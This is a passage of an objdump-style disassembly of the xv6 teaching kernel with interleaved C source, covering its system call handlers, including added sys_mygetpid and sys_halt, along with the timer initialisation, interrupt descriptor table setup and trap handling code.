801063d9: 8b 45 0c mov 0xc(%ebp),%eax
801063dc: 66 89 55 fc mov %dx,-0x4(%ebp)
801063e0: 66 89 45 f8 mov %ax,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801063e4: 8b 45 f8 mov -0x8(%ebp),%eax
801063e7: 8b 55 fc mov -0x4(%ebp),%edx
801063ea: 66 ef out %ax,(%dx)
}
801063ec: c9 leave
801063ed: c3 ret
801063ee <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
801063ee: 55 push %ebp
801063ef: 89 e5 mov %esp,%ebp
801063f1: 83 ec 08 sub $0x8,%esp
return fork();
801063f4: e8 fb e1 ff ff call 801045f4 <fork>
}
801063f9: c9 leave
801063fa: c3 ret
801063fb <sys_exit>:
int
sys_exit(void)
{
801063fb: 55 push %ebp
801063fc: 89 e5 mov %esp,%ebp
801063fe: 83 ec 08 sub $0x8,%esp
exit();
80106401: e8 68 e3 ff ff call 8010476e <exit>
return 0; // not reached
80106406: b8 00 00 00 00 mov $0x0,%eax
}
8010640b: c9 leave
8010640c: c3 ret
8010640d <sys_wait>:
int
sys_wait(void)
{
8010640d: 55 push %ebp
8010640e: 89 e5 mov %esp,%ebp
80106410: 83 ec 08 sub $0x8,%esp
return wait();
80106413: e8 77 e4 ff ff call 8010488f <wait>
}
80106418: c9 leave
80106419: c3 ret
8010641a <sys_kill>:
int
sys_kill(void)
{
8010641a: 55 push %ebp
8010641b: 89 e5 mov %esp,%ebp
8010641d: 83 ec 28 sub $0x28,%esp
int pid;
if(argint(0, &pid) < 0)
80106420: 8d 45 f4 lea -0xc(%ebp),%eax
80106423: 89 44 24 04 mov %eax,0x4(%esp)
80106427: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010642e: e8 83 f0 ff ff call 801054b6 <argint>
80106433: 85 c0 test %eax,%eax
80106435: 79 07 jns 8010643e <sys_kill+0x24>
return -1;
80106437: b8 ff ff ff ff mov $0xffffffff,%eax
8010643c: eb 0b jmp 80106449 <sys_kill+0x2f>
return kill(pid);
8010643e: 8b 45 f4 mov -0xc(%ebp),%eax
80106441: 89 04 24 mov %eax,(%esp)
80106444: e8 11 e8 ff ff call 80104c5a <kill>
}
80106449: c9 leave
8010644a: c3 ret
8010644b <sys_getpid>:
int
sys_getpid(void)
{
8010644b: 55 push %ebp
8010644c: 89 e5 mov %esp,%ebp
return proc->pid;
8010644e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106454: 8b 40 10 mov 0x10(%eax),%eax
}
80106457: 5d pop %ebp
80106458: c3 ret
80106459 <sys_sbrk>:
int
sys_sbrk(void)
{
80106459: 55 push %ebp
8010645a: 89 e5 mov %esp,%ebp
8010645c: 83 ec 28 sub $0x28,%esp
int addr;
int n;
if(argint(0, &n) < 0)
8010645f: 8d 45 f0 lea -0x10(%ebp),%eax
80106462: 89 44 24 04 mov %eax,0x4(%esp)
80106466: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010646d: e8 44 f0 ff ff call 801054b6 <argint>
80106472: 85 c0 test %eax,%eax
80106474: 79 07 jns 8010647d <sys_sbrk+0x24>
return -1;
80106476: b8 ff ff ff ff mov $0xffffffff,%eax
8010647b: eb 24 jmp 801064a1 <sys_sbrk+0x48>
addr = proc->sz;
8010647d: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106483: 8b 00 mov (%eax),%eax
80106485: 89 45 f4 mov %eax,-0xc(%ebp)
if(growproc(n) < 0)
80106488: 8b 45 f0 mov -0x10(%ebp),%eax
8010648b: 89 04 24 mov %eax,(%esp)
8010648e: e8 bc e0 ff ff call 8010454f <growproc>
80106493: 85 c0 test %eax,%eax
80106495: 79 07 jns 8010649e <sys_sbrk+0x45>
return -1;
80106497: b8 ff ff ff ff mov $0xffffffff,%eax
8010649c: eb 03 jmp 801064a1 <sys_sbrk+0x48>
return addr;
8010649e: 8b 45 f4 mov -0xc(%ebp),%eax
}
801064a1: c9 leave
801064a2: c3 ret
801064a3 <sys_sleep>:
int
sys_sleep(void)
{
801064a3: 55 push %ebp
801064a4: 89 e5 mov %esp,%ebp
801064a6: 83 ec 28 sub $0x28,%esp
int n;
uint ticks0;
if(argint(0, &n) < 0)
801064a9: 8d 45 f0 lea -0x10(%ebp),%eax
801064ac: 89 44 24 04 mov %eax,0x4(%esp)
801064b0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801064b7: e8 fa ef ff ff call 801054b6 <argint>
801064bc: 85 c0 test %eax,%eax
801064be: 79 07 jns 801064c7 <sys_sleep+0x24>
return -1;
801064c0: b8 ff ff ff ff mov $0xffffffff,%eax
801064c5: eb 6c jmp 80106533 <sys_sleep+0x90>
acquire(&tickslock);
801064c7: c7 04 24 80 5d 11 80 movl $0x80115d80,(%esp)
801064ce: e8 54 ea ff ff call 80104f27 <acquire>
ticks0 = ticks;
801064d3: a1 c0 65 11 80 mov 0x801165c0,%eax
801064d8: 89 45 f4 mov %eax,-0xc(%ebp)
while(ticks - ticks0 < n){
801064db: eb 34 jmp 80106511 <sys_sleep+0x6e>
if(proc->killed){
801064dd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801064e3: 8b 40 24 mov 0x24(%eax),%eax
801064e6: 85 c0 test %eax,%eax
801064e8: 74 13 je 801064fd <sys_sleep+0x5a>
release(&tickslock);
801064ea: c7 04 24 80 5d 11 80 movl $0x80115d80,(%esp)
801064f1: e8 98 ea ff ff call 80104f8e <release>
return -1;
801064f6: b8 ff ff ff ff mov $0xffffffff,%eax
801064fb: eb 36 jmp 80106533 <sys_sleep+0x90>
}
sleep(&ticks, &tickslock);
801064fd: c7 44 24 04 80 5d 11 movl $0x80115d80,0x4(%esp)
80106504: 80
80106505: c7 04 24 c0 65 11 80 movl $0x801165c0,(%esp)
8010650c: e8 45 e6 ff ff call 80104b56 <sleep>
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
while(ticks - ticks0 < n){
80106511: a1 c0 65 11 80 mov 0x801165c0,%eax
80106516: 2b 45 f4 sub -0xc(%ebp),%eax
80106519: 89 c2 mov %eax,%edx
8010651b: 8b 45 f0 mov -0x10(%ebp),%eax
8010651e: 39 c2 cmp %eax,%edx
80106520: 72 bb jb 801064dd <sys_sleep+0x3a>
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
80106522: c7 04 24 80 5d 11 80 movl $0x80115d80,(%esp)
80106529: e8 60 ea ff ff call 80104f8e <release>
return 0;
8010652e: b8 00 00 00 00 mov $0x0,%eax
}
80106533: c9 leave
80106534: c3 ret
80106535 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
80106535: 55 push %ebp
80106536: 89 e5 mov %esp,%ebp
80106538: 83 ec 28 sub $0x28,%esp
uint xticks;
acquire(&tickslock);
8010653b: c7 04 24 80 5d 11 80 movl $0x80115d80,(%esp)
80106542: e8 e0 e9 ff ff call 80104f27 <acquire>
xticks = ticks;
80106547: a1 c0 65 11 80 mov 0x801165c0,%eax
8010654c: 89 45 f4 mov %eax,-0xc(%ebp)
release(&tickslock);
8010654f: c7 04 24 80 5d 11 80 movl $0x80115d80,(%esp)
80106556: e8 33 ea ff ff call 80104f8e <release>
return xticks;
8010655b: 8b 45 f4 mov -0xc(%ebp),%eax
}
8010655e: c9 leave
8010655f: c3 ret
80106560 <sys_mygetpid>:
int
sys_mygetpid(void)
{
80106560: 55 push %ebp
80106561: 89 e5 mov %esp,%ebp
return proc->pid;
80106563: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106569: 8b 40 10 mov 0x10(%eax),%eax
}
8010656c: 5d pop %ebp
8010656d: c3 ret
8010656e <sys_halt>:
int
sys_halt(void)
{
8010656e: 55 push %ebp
8010656f: 89 e5 mov %esp,%ebp
80106571: 57 push %edi
80106572: 56 push %esi
80106573: 53 push %ebx
80106574: 83 ec 18 sub $0x18,%esp
const char s[] = "Shutdown";
80106577: 8d 55 e7 lea -0x19(%ebp),%edx
8010657a: bb 01 8a 10 80 mov $0x80108a01,%ebx
8010657f: b8 09 00 00 00 mov $0x9,%eax
80106584: 89 d7 mov %edx,%edi
80106586: 89 de mov %ebx,%esi
80106588: 89 c1 mov %eax,%ecx
8010658a: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
const char *p;
outw( 0xB004, 0x0 | 0x2000 );
8010658c: c7 44 24 04 00 20 00 movl $0x2000,0x4(%esp)
80106593: 00
80106594: c7 04 24 04 b0 00 00 movl $0xb004,(%esp)
8010659b: e8 30 fe ff ff call 801063d0 <outw>
for (p = s; *p != '\0'; p++)
801065a0: 8d 45 e7 lea -0x19(%ebp),%eax
801065a3: 89 45 f0 mov %eax,-0x10(%ebp)
801065a6: eb 1b jmp 801065c3 <sys_halt+0x55>
outb (0x8900, *p);
801065a8: 8b 45 f0 mov -0x10(%ebp),%eax
801065ab: 8a 00 mov (%eax),%al
801065ad: 0f b6 c0 movzbl %al,%eax
801065b0: 89 44 24 04 mov %eax,0x4(%esp)
801065b4: c7 04 24 00 89 00 00 movl $0x8900,(%esp)
801065bb: e8 f4 fd ff ff call 801063b4 <outb>
const char s[] = "Shutdown";
const char *p;
outw( 0xB004, 0x0 | 0x2000 );
for (p = s; *p != '\0'; p++)
801065c0: ff 45 f0 incl -0x10(%ebp)
801065c3: 8b 45 f0 mov -0x10(%ebp),%eax
801065c6: 8a 00 mov (%eax),%al
801065c8: 84 c0 test %al,%al
801065ca: 75 dc jne 801065a8 <sys_halt+0x3a>
outb (0x8900, *p);
return 0;
801065cc: b8 00 00 00 00 mov $0x0,%eax
}
801065d1: 83 c4 18 add $0x18,%esp
801065d4: 5b pop %ebx
801065d5: 5e pop %esi
801065d6: 5f pop %edi
801065d7: 5d pop %ebp
801065d8: c3 ret
801065d9: 00 00 add %al,(%eax)
...
801065dc <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
801065dc: 55 push %ebp
801065dd: 89 e5 mov %esp,%ebp
801065df: 83 ec 08 sub $0x8,%esp
801065e2: 8b 45 08 mov 0x8(%ebp),%eax
801065e5: 8b 55 0c mov 0xc(%ebp),%edx
801065e8: 66 89 45 fc mov %ax,-0x4(%ebp)
801065ec: 88 55 f8 mov %dl,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801065ef: 8a 45 f8 mov -0x8(%ebp),%al
801065f2: 8b 55 fc mov -0x4(%ebp),%edx
801065f5: ee out %al,(%dx)
}
801065f6: c9 leave
801065f7: c3 ret
801065f8 <timerinit>:
#define TIMER_RATEGEN 0x04 // mode 2, rate generator
#define TIMER_16BIT 0x30 // r/w counter 16 bits, LSB first
void
timerinit(void)
{
801065f8: 55 push %ebp
801065f9: 89 e5 mov %esp,%ebp
801065fb: 83 ec 18 sub $0x18,%esp
// Interrupt 100 times/sec.
outb(TIMER_MODE, TIMER_SEL0 | TIMER_RATEGEN | TIMER_16BIT);
801065fe: c7 44 24 04 34 00 00 movl $0x34,0x4(%esp)
80106605: 00
80106606: c7 04 24 43 00 00 00 movl $0x43,(%esp)
8010660d: e8 ca ff ff ff call 801065dc <outb>
outb(IO_TIMER1, TIMER_DIV(100) % 256);
80106612: c7 44 24 04 9c 00 00 movl $0x9c,0x4(%esp)
80106619: 00
8010661a: c7 04 24 40 00 00 00 movl $0x40,(%esp)
80106621: e8 b6 ff ff ff call 801065dc <outb>
outb(IO_TIMER1, TIMER_DIV(100) / 256);
80106626: c7 44 24 04 2e 00 00 movl $0x2e,0x4(%esp)
8010662d: 00
8010662e: c7 04 24 40 00 00 00 movl $0x40,(%esp)
80106635: e8 a2 ff ff ff call 801065dc <outb>
picenable(IRQ_TIMER);
8010663a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106641: e8 3e d7 ff ff call 80103d84 <picenable>
}
80106646: c9 leave
80106647: c3 ret
80106648 <alltraps>:
# vectors.S sends all traps here.
.globl alltraps
alltraps:
# Build trap frame.
pushl %ds
80106648: 1e push %ds
pushl %es
80106649: 06 push %es
pushl %fs
8010664a: 0f a0 push %fs
pushl %gs
8010664c: 0f a8 push %gs
pushal
8010664e: 60 pusha
# Set up data and per-cpu segments.
movw $(SEG_KDATA<<3), %ax
8010664f: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
80106653: 8e d8 mov %eax,%ds
movw %ax, %es
80106655: 8e c0 mov %eax,%es
movw $(SEG_KCPU<<3), %ax
80106657: 66 b8 18 00 mov $0x18,%ax
movw %ax, %fs
8010665b: 8e e0 mov %eax,%fs
movw %ax, %gs
8010665d: 8e e8 mov %eax,%gs
# Call trap(tf), where tf=%esp
pushl %esp
8010665f: 54 push %esp
call trap
80106660: e8 c0 01 00 00 call 80106825 <trap>
addl $4, %esp
80106665: 83 c4 04 add $0x4,%esp
80106668 <trapret>:
# Return falls through to trapret...
.globl trapret
trapret:
popal
80106668: 61 popa
popl %gs
80106669: 0f a9 pop %gs
popl %fs
8010666b: 0f a1 pop %fs
popl %es
8010666d: 07 pop %es
popl %ds
8010666e: 1f pop %ds
addl $0x8, %esp # trapno and errcode
8010666f: 83 c4 08 add $0x8,%esp
iret
80106672: cf iret
...
80106674 <lidt>:
struct gatedesc;
static inline void
lidt(struct gatedesc *p, int size)
{
80106674: 55 push %ebp
80106675: 89 e5 mov %esp,%ebp
80106677: 83 ec 10 sub $0x10,%esp
volatile ushort pd[3];
pd[0] = size-1;
8010667a: 8b 45 0c mov 0xc(%ebp),%eax
8010667d: 48 dec %eax
8010667e: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
80106682: 8b 45 08 mov 0x8(%ebp),%eax
80106685: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80106689: 8b 45 08 mov 0x8(%ebp),%eax
8010668c: c1 e8 10 shr $0x10,%eax
8010668f: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
80106693: 8d 45 fa lea -0x6(%ebp),%eax
80106696: 0f 01 18 lidtl (%eax)
}
80106699: c9 leave
8010669a: c3 ret
8010669b <rcr2>:
return result;
}
static inline uint
rcr2(void)
{
8010669b: 55 push %ebp
8010669c: 89 e5 mov %esp,%ebp
8010669e: 83 ec 10 sub $0x10,%esp
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
801066a1: 0f 20 d0 mov %cr2,%eax
801066a4: 89 45 fc mov %eax,-0x4(%ebp)
return val;
801066a7: 8b 45 fc mov -0x4(%ebp),%eax
}
801066aa: c9 leave
801066ab: c3 ret
801066ac <tvinit>:
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
801066ac: 55 push %ebp
801066ad: 89 e5 mov %esp,%ebp
801066af: 83 ec 28 sub $0x28,%esp
int i;
for(i = 0; i < 256; i++)
801066b2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801066b9: e9 b8 00 00 00 jmp 80106776 <tvinit+0xca>
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
801066be: 8b 45 f4 mov -0xc(%ebp),%eax
801066c1: 8b 04 85 a4 b0 10 80 mov -0x7fef4f5c(,%eax,4),%eax
801066c8: 8b 55 f4 mov -0xc(%ebp),%edx
801066cb: 66 89 04 d5 c0 5d 11 mov %ax,-0x7feea240(,%edx,8)
801066d2: 80
801066d3: 8b 45 f4 mov -0xc(%ebp),%eax
801066d6: 66 c7 04 c5 c2 5d 11 movw $0x8,-0x7feea23e(,%eax,8)
801066dd: 80 08 00
801066e0: 8b 45 f4 mov -0xc(%ebp),%eax
801066e3: 8a 14 c5 c4 5d 11 80 mov -0x7feea23c(,%eax,8),%dl
801066ea: 83 e2 e0 and $0xffffffe0,%edx
801066ed: 88 14 c5 c4 5d 11 80 mov %dl,-0x7feea23c(,%eax,8)
801066f4: 8b 45 f4 mov -0xc(%ebp),%eax
801066f7: 8a 14 c5 c4 5d 11 80 mov -0x7feea23c(,%eax,8),%dl
801066fe: 83 e2 1f and $0x1f,%edx
80106701: 88 14 c5 c4 5d 11 80 mov %dl,-0x7feea23c(,%eax,8)
80106708: 8b 45 f4 mov -0xc(%ebp),%eax
8010670b: 8a 14 c5 c5 5d 11 80 mov -0x7feea23b(,%eax,8),%dl
80106712: 83 e2 f0 and $0xfffffff0,%edx
80106715: 83 ca 0e or $0xe,%edx
80106718: 88 14 c5 c5 5d 11 80 mov %dl,-0x7feea23b(,%eax,8)
8010671f: 8b 45 f4 mov -0xc(%ebp),%eax
80106722: 8a 14 c5 c5 5d 11 80 mov -0x7feea23b(,%eax,8),%dl
80106729: 83 e2 ef and $0xffffffef,%edx
8010672c: 88 14 c5 c5 5d 11 80 mov %dl,-0x7feea23b(,%eax,8)
80106733: 8b 45 f4 mov -0xc(%ebp),%eax
80106736: 8a 14 c5 c5 5d 11 80 mov -0x7feea23b(,%eax,8),%dl
8010673d: 83 e2 9f and $0xffffff9f,%edx
80106740: 88 14 c5 c5 5d 11 80 mov %dl,-0x7feea23b(,%eax,8)
80106747: 8b 45 f4 mov -0xc(%ebp),%eax
8010674a: 8a 14 c5 c5 5d 11 80 mov -0x7feea23b(,%eax,8),%dl
80106751: 83 ca 80 or $0xffffff80,%edx
80106754: 88 14 c5 c5 5d 11 80 mov %dl,-0x7feea23b(,%eax,8)
8010675b: 8b 45 f4 mov -0xc(%ebp),%eax
8010675e: 8b 04 85 a4 b0 10 80 mov -0x7fef4f5c(,%eax,4),%eax
80106765: c1 e8 10 shr $0x10,%eax
80106768: 8b 55 f4 mov -0xc(%ebp),%edx
8010676b: 66 89 04 d5 c6 5d 11 mov %ax,-0x7feea23a(,%edx,8)
80106772: 80
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
80106773: ff 45 f4 incl -0xc(%ebp)
80106776: 81 7d f4 ff 00 00 00 cmpl $0xff,-0xc(%ebp)
8010677d: 0f 8e 3b ff ff ff jle 801066be <tvinit+0x12>
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80106783: a1 a4 b1 10 80 mov 0x8010b1a4,%eax
80106788: 66 a3 c0 5f 11 80 mov %ax,0x80115fc0
8010678e: 66 c7 05 c2 5f 11 80 movw $0x8,0x80115fc2
80106795: 08 00
80106797: a0 c4 5f 11 80 mov 0x80115fc4,%al
8010679c: 83 e0 e0 and $0xffffffe0,%eax
8010679f: a2 c4 5f 11 80 mov %al,0x80115fc4
801067a4: a0 c4 5f 11 80 mov 0x80115fc4,%al
801067a9: 83 e0 1f and $0x1f,%eax
801067ac: a2 c4 5f 11 80 mov %al,0x80115fc4
801067b1: a0 c5 5f 11 80 mov 0x80115fc5,%al
801067b6: 83 c8 0f or $0xf,%eax
801067b9: a2 c5 5f 11 80 mov %al,0x80115fc5
801067be: a0 c5 5f 11 80 mov 0x80115fc5,%al
801067c3: 83 e0 ef and $0xffffffef,%eax
801067c6: a2 c5 5f 11 80 mov %al,0x80115fc5
801067cb: a0 c5 5f 11 80 mov 0x80115fc5,%al
801067d0: 83 c8 60 or $0x60,%eax
801067d3: a2 c5 5f 11 80 mov %al,0x80115fc5
801067d8: a0 c5 5f 11 80 mov 0x80115fc5,%al
801067dd: 83 c8 80 or $0xffffff80,%eax
801067e0: a2 c5 5f 11 80 mov %al,0x80115fc5
801067e5: a1 a4 b1 10 80 mov 0x8010b1a4,%eax
801067ea: c1 e8 10 shr $0x10,%eax
801067ed: 66 a3 c6 5f 11 80 mov %ax,0x80115fc6
initlock(&tickslock, "time");
801067f3: c7 44 24 04 0c 8a 10 movl $0x80108a0c,0x4(%esp)
801067fa: 80
801067fb: c7 04 24 80 5d 11 80 movl $0x80115d80,(%esp)
80106802: e8 ff e6 ff ff call 80104f06 <initlock>
}
80106807: c9 leave
80106808: c3 ret
80106809 <idtinit>:
void
idtinit(void)
{
80106809: 55 push %ebp
8010680a: 89 e5 mov %esp,%ebp
8010680c: 83 ec 08 sub $0x8,%esp
lidt(idt, sizeof(idt));
8010680f: c7 44 24 04 00 08 00 movl $0x800,0x4(%esp)
80106816: 00
80106817: c7 04 24 c0 5d 11 80 movl $0x80115dc0,(%esp)
8010681e: e8 51 fe ff ff call 80106674 <lidt>
}
80106823: c9 leave
80106824: c3 ret
80106825 <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
80106825: 55 push %ebp
80106826: 89 e5 mov %esp,%ebp
80106828: 57 push %edi
80106829: 56 push %esi
8010682a: 53 push %ebx
8010682b: 83 ec 3c sub $0x3c,%esp
if(tf->trapno == T_SYSCALL){
8010682e: 8b 45 08 mov 0x8(%ebp),%eax
80106831: 8b 40 30 mov 0x30(%eax),%eax
80106834: 83 f8 40 cmp $0x40,%eax
80106837: 75 3f jne 80106878 <trap+0x53>
if(proc->killed)
80106839: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010683f: 8b 40 24 mov 0x24(%eax),%eax
80106842: 85 c0 test %eax,%eax
80106844: 74 05 je 8010684b <trap+0x26>
exit();
80106846: e8 23 df ff ff call 8010476e <exit>
proc->tf = tf;
8010684b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106851: 8b 55 08 mov 0x8(%ebp),%edx
80106854: 89 50 18 mov %edx,0x18(%eax)
syscall();
80106857: e8 27 ed ff ff call 80105583 <syscall>
if(proc->killed)
8010685c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106862: 8b 40 24 mov 0x24(%eax),%eax
80106865: 85 c0 test %eax,%eax
80106867: 74 0a je 80106873 <trap+0x4e>
exit();
80106869: e8 00 df ff ff call 8010476e <exit>
return;
8010686e: e9 11 02 00 00 jmp 80106a84 <trap+0x25f>
80106873: e9 0c 02 00 00 jmp 80106a84 <trap+0x25f>
}
switch(tf->trapno){
80106878: 8b 45 08 mov 0x8(%ebp),%eax
8010687b: 8b 40 30 mov 0x30(%eax),%eax
8010687e: 83 e8 20 sub $0x20,%eax
80106881: 83 f8 1f cmp $0x1f,%eax
80106884: 0f 87 ae 00 00 00 ja 80106938 <trap+0x113>
8010688a: 8b 04 85 b4 8a 10 80 mov -0x7fef754c(,%eax,4),%eax
80106891: ff e0 jmp *%eax
case T_IRQ0 + IRQ_TIMER:
if(cpunum() == 0){
80106893: e8 59 c6 ff ff call 80102ef1 <cpunum>
80106898: 85 c0 test %eax,%eax
8010689a: 75 2f jne 801068cb <trap+0xa6>
acquire(&tickslock);
8010689c: c7 04 24 80 5d 11 80 movl $0x80115d80,(%esp)
801068a3: e8 7f e6 ff ff call 80104f27 <acquire>
ticks++;
801068a8: a1 c0 65 11 80 mov 0x801165c0,%eax
801068ad: 40 inc %eax
801068ae: a3 c0 65 11 80 mov %eax,0x801165c0
wakeup(&ticks);
801068b3: c7 04 24 c0 65 11 80 movl $0x801165c0,(%esp)
801068ba: e8 70 e3 ff ff call 80104c2f <wakeup>
release(&tickslock);
801068bf: c7 04 24 80 5d 11 80 movl $0x80115d80,(%esp)
801068c6: e8 c3 e6 ff ff call 80104f8e <release>
}
lapiceoi();
801068cb: e8 c9 c6 ff ff call 80102f99 <lapiceoi>
break;
801068d0: e9 2d 01 00 00 jmp 80106a02 <trap+0x1dd>
case T_IRQ0 + IRQ_IDE:
ideintr();
801068d5: e8 90 be ff ff call 8010276a <ideintr>
lapiceoi();
801068da: e8 ba c6 ff ff call 80102f99 <lapiceoi>
break;
801068df: e9 1e 01 00 00 jmp 80106a02 <trap+0x1dd>
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
case T_IRQ0 + IRQ_KBD:
kbdintr();
801068e4: e8 31 c4 ff ff call 80102d1a <kbdintr>
lapiceoi();
801068e9: e8 ab c6 ff ff call 80102f99 <lapiceoi>
break;
801068ee: e9 0f 01 00 00 jmp 80106a02 <trap+0x1dd>
case T_IRQ0 + IRQ_COM1:
uartintr();
801068f3: e8 79 03 00 00 call 80106c71 <uartintr>
lapiceoi();
801068f8: e8 9c c6 ff ff call 80102f99 <lapiceoi>
break;
801068fd: e9 00 01 00 00 jmp 80106a02 <trap+0x1dd>
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80106902: 8b 45 08 mov 0x8(%ebp),%eax
80106905: 8b 70 38 mov 0x38(%eax),%esi
cpunum(), tf->cs, tf->eip);
80106908: 8b 45 08 mov 0x8(%ebp),%eax
8010690b: 8b 40 3c mov 0x3c(%eax),%eax
uartintr();
lapiceoi();
break;
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
8010690e: 0f b7 d8 movzwl %ax,%ebx
80106911: e8 db c5 ff ff call 80102ef1 <cpunum>
80106916: 89 74 24 0c mov %esi,0xc(%esp)
8010691a: 89 5c 24 08 mov %ebx,0x8(%esp)
8010691e: 89 44 24 04 mov %eax,0x4(%esp)
80106922: c7 04 24 14 8a 10 80 movl $0x80108a14,(%esp)
80106929: e8 93 9a ff ff call 801003c1 <cprintf>
cpunum(), tf->cs, tf->eip);
lapiceoi();
8010692e: e8 66 c6 ff ff call 80102f99 <lapiceoi>
break;
80106933: e9 ca 00 00 00 jmp 80106a02 <trap+0x1dd>
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
80106938: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010693e: 85 c0 test %eax,%eax
80106940: 74 10 je 80106952 <trap+0x12d>
80106942: 8b 45 08 mov 0x8(%ebp),%eax
80106945: 8b 40 3c mov 0x3c(%eax),%eax
80106948: 0f b7 c0 movzwl %ax,%eax
8010694b: 83 e0 03 and $0x3,%eax
8010694e: 85 c0 test %eax,%eax
80106950: 75 40 jne 80106992 <trap+0x16d>
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80106952: e8 44 fd ff ff call 8010669b <rcr2>
80106957: 89 c3 mov %eax,%ebx
80106959: 8b 45 08 mov 0x8(%ebp),%eax
8010695c: 8b 70 38 mov 0x38(%eax),%esi
8010695f: e8 8d c5 ff ff call 80102ef1 <cpunum>
80106964: 8b 55 08 mov 0x8(%ebp),%edx
80106967: 8b 52 30 mov 0x30(%edx),%edx
8010696a: 89 5c 24 10 mov %ebx,0x10(%esp)
8010696e: 89 74 24 0c mov %esi,0xc(%esp)
80106972: 89 44 24 08 mov %eax,0x8(%esp)
80106976: 89 54 24 04 mov %edx,0x4(%esp)
8010697a: c7 04 24 38 8a 10 80 movl $0x80108a38,(%esp)
80106981: e8 3b 9a ff ff call 801003c1 <cprintf>
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
80106986: c7 04 24 6a 8a 10 80 movl $0x80108a6a,(%esp)
8010698d: e8 c2 9b ff ff call 80100554 <panic>
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80106992: e8 04 fd ff ff call 8010669b <rcr2>
80106997: 89 c3 mov %eax,%ebx
80106999: 8b 45 08 mov 0x8(%ebp),%eax
8010699c: 8b 78 38 mov 0x38(%eax),%edi
8010699f: e8 4d c5 ff ff call 80102ef1 <cpunum>
801069a4: 89 c2 mov %eax,%edx
801069a6: 8b 45 08 mov 0x8(%ebp),%eax
801069a9: 8b 70 34 mov 0x34(%eax),%esi
801069ac: 8b 45 08 mov 0x8(%ebp),%eax
801069af: 8b 48 30 mov 0x30(%eax),%ecx
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->eip,
801069b2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801069b8: 83 c0 6c add $0x6c,%eax
801069bb: 89 45 e4 mov %eax,-0x1c(%ebp)
801069be: 65 a1 04 00 00 00 mov %gs:0x4,%eax
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
801069c4: 8b 40 10 mov 0x10(%eax),%eax
801069c7: 89 5c 24 1c mov %ebx,0x1c(%esp)
801069cb: 89 7c 24 18 mov %edi,0x18(%esp)
801069cf: 89 54 24 14 mov %edx,0x14(%esp)
801069d3: 89 74 24 10 mov %esi,0x10(%esp)
801069d7: 89 4c 24 0c mov %ecx,0xc(%esp)
801069db: 8b 4d e4 mov -0x1c(%ebp),%ecx
801069de: 89 4c 24 08 mov %ecx,0x8(%esp)
801069e2: 89 44 24 04 mov %eax,0x4(%esp)
801069e6: c7 04 24 70 8a 10 80 movl $0x80108a70,(%esp)
801069ed: e8 cf 99 ff ff call 801003c1 <cprintf>
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->eip,
rcr2());
proc->killed = 1;
801069f2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801069f8: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
801069ff: eb 01 jmp 80106a02 <trap+0x1dd>
ideintr();
lapiceoi();
break;
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
80106a01: 90 nop
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
80106a02: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106a08: 85 c0 test %eax,%eax
80106a0a: 74 23 je 80106a2f <trap+0x20a>
80106a0c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106a12: 8b 40 24 mov 0x24(%eax),%eax
